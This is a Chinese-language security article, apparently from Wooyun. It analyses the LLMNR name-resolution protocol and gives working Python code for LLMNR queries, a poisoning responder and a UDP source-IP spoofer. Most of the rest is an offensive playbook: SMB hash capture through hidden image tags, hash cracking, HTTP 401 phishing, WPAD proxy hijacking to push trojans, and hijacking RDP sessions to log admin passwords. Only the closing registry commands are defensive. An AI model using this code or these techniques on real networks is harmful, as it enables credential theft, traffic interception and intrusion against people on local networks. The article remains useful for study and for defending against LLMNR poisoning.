本文将会对 LLMNR 协议进行分析并用 Python 实现质询和应答。后半部分则会重点阐述利用 LLMNR 在名称解析过程中的缺陷进行实战攻击的部分思路。
下面是本文的每一小节的 title :
0x00 LLMNR 简介
0x01 LLMNR 协议分析
0x02 LLMNR 名称解析过程
0x03 编程实现 LLMNR 的质询和应答
0x04 LLMNR Poison 攻击原理
0x05 利用伪造源 IP + LLMNR Poisone 劫持内网指定主机会话
0x06 LLMNR Poison 实战攻击思路
0x07 总结
从 Windows Vista 起,Windows 操作系统开始支持一种新的名称解析协议 —— LLMNR,主要用于局域网中的名称解析。LLMNR 能够很好的支持 IPv4 和 IPv6,因此在 Windows 名称解析顺序中是一个仅次于 DNS 的名称解析方式,更重要的是在 Linux 操作系统中也实现了 LLMNR。
LLMNR 协议定义在 RFC 4795 中。文档里详细的介绍了有关于 LLMNR 协议的结构,配置以及安全性等内容。
LLMNR 的协议结构如下图所示:
图 1:LLMNR 协议结构
LLMNR 协议结构图中各个字段的说明如下:
一个完整的正常的 LLMNR 名称解析过程如下图所示:
注:假定主机 B 已加入了组播组中。
图 2:一个完整的正常的 LLMNR 名称解析过程
LLMNR 名称解析过程所使用的传输协议为 UDP 协议,IPv4 的广播地址为 - 224.0.0.252, IPv6 的广播地址为 - FF02:0:0:0:0:0:1:3 或 FF02::1:3。在主机中所监听的端口为 UDP/5355。
使用 Wireshark 抓取一个完整的 LLMNR 质询/应答过程的数据包,如下图所示:
图 3:一个完整的 LLMNR 质询/应答过程数据包
从上图可以看到,编号为 No.3 和 No.4 的数据包证明了主机 A 分别使用自己的 IPv4 地址和 IPv6 地址向 IPv4 和 IPv6 的广播地址进行了广播,质询数据包的 TID 为 0xc7f7。查询的地址类型为请求主机 B 的 IPv4 地址,这一点可以从 A 或 AAAA 进行区别。一个 A 表示请求的地址类型为 IPv4 地址,四个A(AAAA)表示请求的地址类型为 IPv6 地址。
编号为 No.5 的数据包证明了主机 B(192.168.16.130)收到请求数据包后,发现有主机请求自己的 IP地址,于是向主机 A 进行单播应答,将自己的 IP 地址单播给了主机 A,应答的地址类型为 IPv4,同时该数据包的 TID 的值为上面主机 A 进行广播的数据包的 TID —— 0xc7f7。
质询的数据包详细结构如下图所示:
图 4:质询的数据包详细结构
应答的数据包详细结构如下图所示:
图 5:应答的数据包详细结构
通过上面的内容,可以很直观的理解 LLMNR 进行名称解析的详细过程。使用 Python 可以快速实现 LLMNR 协议的质询和应答编程。
LLMNR 协议的质询过程实际上就是进行了一个广播。直接看代码。
质询的代码如下:
#/usr/bin/env python
__doc__ = """
LLMNR Query ,
by Her0in
"""
import socket, struct
class LLMNR_Query:
def __init__(self,name):
self.name = name
self.IsIPv4 = True
self.populate()
def populate(self):
self.HOST = '224.0.0.252' if self.IsIPv4 else 'FF02::1:3'
self.PORT = 5355
self.s_family = socket.AF_INET if self.IsIPv4 else socket.AF_INET6
self.QueryType = "IPv4"
self.lqs = socket.socket(self.s_family, socket.SOCK_DGRAM)
self.QueryData = (
"\xa9\xfb" # Transaction ID
"\x00\x00" # Flags Query(0x0000)? or Response(0x8000) ?
"\x00\x01" # Question
"\x00\x00" # Answer RRS
"\x00\x00" # Authority RRS
"\x00\x00" # Additional RRS
"LENGTH" # length of Name
"NAME" # Name
"\x00" # NameNull
"TYPE" # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
"\x00\x01") # Class
namelen = len(self.name)
self.data = self.QueryData.replace('LENGTH', struct.pack('>B', namelen))
self.data = self.data.replace('NAME', struct.pack(">"+str(namelen)+"s", self.name))
self.data = self.data.replace("TYPE", "\x00\x01" if self.QueryType == "IPv4" else "\x00\x1c")
def Query(self):
while(True):
print "LLMNR Querying... -> %s" % self.name
self.lqs.sendto(self.data, (self.HOST, self.PORT))
self.lqs.close()
if __name__ == "__main__":
llmnr = LLMNR_Query("Wooyun")
llmnr.Query()
要对 LLMNR 协议的质询请求进行应答,首先要将本机加入多播(或组播)组中,所使用的协议为 IGMP。具体编程实现的方式可以直接构造数据包使用 UDP 发送,也可以使用套接字提供的 setsockopt 函数进行设置。
应答的实现方式很简单,创建一个 UDP 套接字使用 setsockopt 函数加入多播组并监听 5355 端口,当然也可以使用非阻塞的 SocketServer 模块实现,效果更佳。
具体代码如下:
#/usr/bin/env python
__doc__ = """
LLMNR Answer ,
by Her0in
"""
import socket, struct
class LLMNR_Answer:
def __init__(self, addr):
self.IPADDR = addr
self.las = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.init_socket()
self.populate()
def populate(self):
self.AnswerData = (
"TID" # Tid
"\x80\x00" # Flags Query(0x0000)? or Response(0x8000) ?
"\x00\x01" # Question
"\x00\x01" # Answer RRS
"\x00\x00" # Authority RRS
"\x00\x00" # Additional RRS
"LENGTH" # Question Name Length
"NAME" # Question Name
"\x00" # Question Name Null
"\x00\x01" # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
"\x00\x01" # Class
"LENGTH" # Answer Name Length
"NAME" # Answer Name
"\x00" # Answer Name Null
"\x00\x01" # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)?
"\x00\x01" # Class
"\x00\x00\x00\x1e" # TTL Default:30s
"\x00\x04" # IP Length
"IPADDR") # IP Address
def init_socket(self):
self.HOST = "0.0.0.0"
self.PORT = 5355
self.MulADDR = "224.0.0.252"
self.las.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.las.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
self.las.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP,
socket.inet_aton(self.MulADDR) + socket.inet_aton(self.HOST))
def Answser(self):
self.las.bind((self.HOST, self.PORT))
print "Listening..."
while True:
data, addr = self.las.recvfrom(1024)
tid = data[0:2]
namelen = struct.unpack('>B', data[12])[0]
name = data[13:13 + namelen]
data = self.AnswerData.replace('TID', tid)
data = data.replace('LENGTH', struct.pack('>B', namelen))
data = data.replace('NAME', name)
data = data.replace('IPADDR', socket.inet_aton(self.IPADDR))
print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr[0], name)
self.las.sendto(data, addr)
self.las.setsockopt(socket.IPPROTO_IP, socket.IP_DROP_MEMBERSHIP,
socket.inet_aton(self.MulADDR) + socket.inet_aton(self.HOST))
self.las.close()
if __name__ == "__main__":
llmnr = LLMNR_Answer("11.22.33.44")
llmnr.Answser()
最终执行后结果如下图所示:
图 6:Python 实现 LLMNR 质询与应答 1
下图为模拟主机查询主机名称为Wooyun的结果
图 7:Python 实现 LLMNR 质询与应答 2
图 2 说明了一个完整的正常的 LLMNR 质询/应答过程。由于 LLMNR 使用了无连接的 UDP 协议发送了广播,之后,多播组内的主机就可以对发起名称解析的主机进行应答,因此,在这个过程中,攻击者就有机可乘。
攻击者可以将自己的主机加入到组播组中,当收到其他主机进行名称解析的质询请求,就可以对发起此次名称解析的主机进行“恶意”应答。利用此缺陷进行欺骗攻击的方式称为 LLMNR Poison 攻击。
“恶意”应答过程如下图所示:
图 8: 攻击者进行“恶意”应答过程图示
LLMNR 名称解析的最大缺陷就是,在当前局域网中,无论是否存在主机 B(假定机器名为:SECLAB-HER0IN),只要有主机请求 SECLAB-HER0IN 都会进行一次 LLMNR 名称解析。
由于 UDP 是面向无连接的,所以不存在三次握手的过程,因此,在 LLMNR 名称解析过程中,UDP 的不安全性就凸显出来了。攻击者可以伪造源 IP 地址向广播地址发送 LLMNR 名称解析质询,之后攻击者再对这个质询进行应答,完全是一场 “自导自演” 的戏。
修改 UDP 源 IP 的代码如下:
#/usr/bin/env python
__doc__ = """
UDP Source IP Spoof ,
by Her0in
"""
import socket, time
from impacket import ImpactDecoder, ImpactPacket
def UDPSpoof(src_ip, src_port, dst_ip, dst_port, data):
ip = ImpactPacket.IP()
ip.set_ip_src(src_ip)
ip.set_ip_dst(dst_ip)
udp = ImpactPacket.UDP()
udp.set_uh_sport(src_port)
udp.set_uh_dport(dst_port)
udp.contains(ImpactPacket.Data(data))
ip.contains(udp)
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.sendto(ip.get_packet(), (dst_ip, dst_port))
if __name__ == "__main__":
QueryData = (
"\xa9\xfb" # Transaction ID
"\x00\x00" # Flags Query(0x0000)? or Response(0x8000) ?
"\x00\x01" # Question
"\x00\x00" # Answer RRS
"\x00\x00" # Authority RRS
"\x00\x00" # Additional RRS
"\x09" # length of Name
"Her0in-PC" # Name
"\x00" # NameNull
"\x00\x01" # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
"\x00\x01") # Class
ip_src = "192.168.169.1"
ip_dst = "224.0.0.252"
while True:
print("UDP Source IP Spoof %s => %s for Her0in-PC" % (ip_src, ip_dst))
UDPSpoof(ip_src, 18743,ip_dst , 5355, QueryData)
time.sleep(3)
为了不要那么暴力,加个延时,实际上在 LLMNR 应答数据包中有一个 TTL 默认为 30s,所以在实战中为了隐蔽可以将延时加大
具体攻击过程如下:
攻击的效果就是,受害者只要使用计算机名称访问 HER0IN-PC
这台主机的任何服务,都会被重定向到攻击者指定的 IP 上。
测试环境如下:
看图说话,图片信息量较大 ;)
图 9 : 攻击者主机 启动相应的程序,并提供了 WEB 服务
图 10 : 当受害者访问win2k3-3a85d681
这台主机的 WEB 服务时被重定向到攻击者主机的 WEB 服务器
图 11 : 可以明显的看到受害者原本想访问的 WEB 服务器是 Windows Server 2003 却被攻击者“重定向”到了一台 Linux 主机上
关于“利用伪造源 IP + LLMNR Poisone 劫持内网指定主机会话”就这么多,图片信息量较大,请自行梳理,利用这种攻击手段可以做很多事情,剩下的全靠自由发挥 ;)
在局域网中,名称解析的行为是非常频繁的,只要有使用计算机名称,准确的说是 NetBIOS名称或非 FQDN 域名的地方都会产生名称解析,如 PING 主机名称,使用主机名称连接各种服务等等。Windows 系统也默认启用了 NetBIOS 和 LLMNR。这就使得 LLMNR Poison 攻击的实战价值有所提升。但实际上在实战中使用 LLMNR Poison 攻击时,会遇到一些问题。如,5355 端口被占用,防火墙拦截等,不过这些小问题都是可以解决掉的,另外还有一些不可控的客观因素,如网络稳定性等等。但这些问题也不是非常普遍不可解决的。
下面提供几种在实战中可用的 LLMNR Poison 攻击思路。以 Responder 做为攻击工具进行演示。
通过劫持会话获取受害者的 HASH,有两种常见的攻击场景。
攻击的方式大致为:
<img/src=\\SECLAB-HER0IN\1.jpg width=0 height=0>
或 <img/src=http:\\SECLAB-HER0IN\1.jpg width=0 height=0>
的网页。图 12:SMB 会话劫持获取 HASH
图 13:使用 John 破解 SMB 会话劫持到的 HASH
使用 HTTP 401 认证服务器进行钓鱼。
图 14: HTTP 401 认证服务器钓鱼
图 15: “钓鱼”攻击获取到了 HASH
在 Windows 系统中,默认启用了 WPAD 功能,可以对 IE 浏览器-工具-internet-连接-局域网设置-自动检测设置 和 系统服务中的 WinHttpAutoProxySvc 服务进行开关设置。
启用了 WPAD 的主机,会持续请求名为WPAD的主机名称,因此可以利用 LLMNR Poison 攻击更改受害者主机的浏览器代理设置。这样就可以在攻击者自己的代理服务器中看到受害者的上网浏览记录,也可以在受害者正在访问的网页中嵌入任何你想要嵌入的恶意脚本代码,如各种钓鱼,弹框认证,下载文件等等。另外,由于 WPAD 是一个系统的 HTTP 代理设置,所以 Windows 更新也会使用这个代理,这样就可以利用 Windows 更新将木马下载到受害者主机并自动执行。
但是 WPAD 在实战中也同样会受到各种不可控的客观因素的影响。只有手动设置了浏览器代理配置,通过 WPAD 的代理上网的效果才比较明显。
上面已经提到,在局域网中,只要有主机使用其他主机的名称请求服务就可以产生名称解析行为。假定有这样一个场景,在渗透到内网后,进一步渗透的条件很苛刻,这时候你“黔驴技穷”(:0)了,为了能在内网中拿到一台服务器,以便“站稳脚跟”。或许你可以采用“剑走偏锋”的思路,利用 LLMNR Poison 攻击进行 3389 连接欺骗,拿到服务器的密码,这样做的确有些冒险,可是总好过你直接修改 IP 去欺骗登录要好很多(真有人这么做过 ~,~!)。
测试环境如下:
IP:172.16.0.8
机器名称:WIN2K3-3A85D681
IP:172.16.0.3
IP:172.16.0.100
IP:172.16.0.128
场景如下:
管理员的主机(Win2k8)连接内网服务器(Win2k3)进行常规维护,攻击者(BT5-R3)利用 LLMNR Poison 攻击劫持了 3389 连接会话,为了更加明显的演示出攻击效果,我将 3389 连接会话重定向到一台 XP 中
。
OK,看图说话;),攻击效果如下:
图 16: 管理员(Win2k8)连接内网服务器(Win2k3),但是被 LLMNR Poison 攻击劫持,重定向到了 XP 上。
图 17:从攻击者的机器中,也可以看到 Responder 做了“恶意”应答,同时,利用 lcx 转发 3389 也有数据流在跑,可以从 IP 中判断出来
图 18:在 XP 中已经安装了某记录登录密码的程序,可以记录任何成功或失败的登录信息 :D,上图中可以看到管理员输入的登录信息。
关于 LLMNR Poison 攻击的实战思路有很多,包括劫持 FTP,MySQL,MSSQL Server等等。具体的实现,请自由发挥。
为了防止遭到 LLMNR Poison 攻击,可以导入下面的注册表键值关闭 LLMNR:
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f
不过,关闭了 LLMNR 以后, 可能用户的一些正常需求会受到影响,;)。